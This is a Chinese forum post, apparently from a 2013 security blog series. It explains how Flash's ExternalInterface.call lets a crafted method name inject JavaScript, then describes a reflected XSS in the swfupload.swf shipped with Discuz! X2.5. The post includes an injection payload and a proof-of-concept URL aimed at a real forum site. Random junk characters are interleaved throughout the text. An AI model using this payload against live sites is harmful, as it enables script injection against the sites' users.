找回密码
 立即注册
查看: 2776|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
上回我们说$ h% K: a; o  [# ~% k. O9 C# C
/ Y5 X1 b8 U" P* `+ f" `& i
flash.external.ExternalInterface.call($methodName, $parameter)
; |  {4 t. D4 W$ t6 j) K$ R1 J/ \在浏览器中执行的是7 R7 z  S6 T4 P6 \2 }
: w* h; f9 v+ f
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
7 `/ o9 \) X1 {& O/ u# X, h+ q对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
2 P4 R; @) n$ O/ `+ q5 ^
  e! ]5 E# p( y- P" Y& V8 _& Oflash.external.ExternalInterface.call("object."+$methodName, $parameter)( `+ l" e5 r! J/ [& ~( C
$methodName = a())}catch(e){alert(/xss/)}//1 e- J" A1 H3 H  ]! k7 s2 Q* W
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
5 b4 P, B- @: F# T: n/ q. k/ ?8 d. r- ~- A7 s9 O+ z7 c
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
9 P; r) b) Q' j+ [- b1 ^$ @6 b6 _& A, S: O
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )  O! W' U" N* [
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
& t9 c+ x; _* N* S" G5 e
: u* j4 J( F: f9 Y1 D
% S  U5 [- _# m1 `( h. l. @7 R3 D1 T7 v% O' `( W
漏洞文件:upload\static\image\common\swfupload.swf
& I  _' b  L  c6 ?8 ?9 Q; ^9 s6 b
: f' u' W; T# a- d7 Z原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
& T, _( P5 T7 `+ x
2 _7 J8 a- l  {0 L7 c1 i) g
) H1 Z9 p( q! |5 r) m漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//1 d4 m. L3 j' L
9 a( l" w# r* E6 v) D

1 P. b9 U3 `8 f1 L) F+ p, D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表